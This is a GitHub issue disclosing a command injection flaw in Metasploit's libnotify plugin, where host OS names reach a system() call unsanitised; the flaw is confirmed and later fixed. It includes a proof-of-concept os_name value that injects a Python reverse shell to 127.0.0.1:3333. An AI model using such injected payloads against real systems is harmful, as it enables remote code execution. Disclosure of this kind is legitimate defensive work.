New issue

Jump to bottom

possible vulnerability in libnotify #13026

Closed   **pastaoficial** opened this issue on Mar 4, 2020 · 4 comments · Fixed by #13266

Labels   bug   **confirmed**

pastaoficial commented on Mar 4, 2020   Contributor

the plugin libnotify has a command injection vulnerability which could be triggered when the client imports info as hostnames or services specially crafted from another tool

The impact is low because is not possible to tamper the hostname when the client runs a scan with nmap for example

in the libnotify's callback of db_host:

```
  def on_db_host(host)
    notify_send('normal', 'New host',
                'Addess: #{host.address}\nOS: #{host.os_name}")
  end
```

if we could tamper the field os_name, this data lands in a call to system in notify-send in order to display the notification

```
  def notify_send(urgency, title, message)
    system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'")
  end
```

Steps to reproduce

How'd you do it?

1. load the plugin:

```
msf5 > load libnotify
[*] Successfully loaded plugin: libnotify
```

2. Now if we import the hosts' info from another tool (as faraday, openvas or nessus) and we don't have limitations in the hostname field, the importer plugin will run our field without sanitizing

the plugin will run something similar to:

```
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

>> db.find_or_create_host(:workspace => 'pepe', :host => '192.168.6.16', :state => Msf::HostState::Alive, :os_name => 'BEGIN\'; python -c \'import socket
,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.f
ileno(),2);p=subprocess.call(["/bin/sh","-i"])')
```

in this case, I made a little PoC running a reverse shell in another port

the impact is really low because tools as nmap filter the hostname based on the fingerprint of the OS so is not easy to trigger the bug in a scan for example, but in a plugin importer could be fit

👀 1

wvu commented on Mar 5, 2020   Contributor

I expect a Metasploit file format exploit for this. :P

😄 3

pastaoficial commented on Mar 5, 2020   Contributor   Author

a xml of nmap database to trigger it 👍

Tomorrow U R gonna have the PR 🗡️

🚀 1

wvu added bug **confirmed** labels on Mar 5, 2020

busterb commented on Mar 6, 2020   Contributor

Feel free to fix the bug too :)

🚀 2

pastaoficial mentioned this issue on Mar 9, 2020

Add fileformat exploit for libnotify plugin #13049

Merged

10 tasks

pastaoficial commented on Mar 10, 2020 Contributor Author

I made the pull request with both

😄 3 ❤️ 2

smcintyre-r7 linked a pull request on Apr 16, 2020 that will close this issue

Fix CVE-2020-7350 (command execution in libnotify) #13266 Merged

4 tasks

bwatters-r7 closed this as completed in #13266 on Apr 16, 2020

Assignees

No one assigned

Labels

bug confirmed

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Fix CVE-2020-7350 (command execution in libnotify)
smcintyre-r7/metasploit-framework

3 participants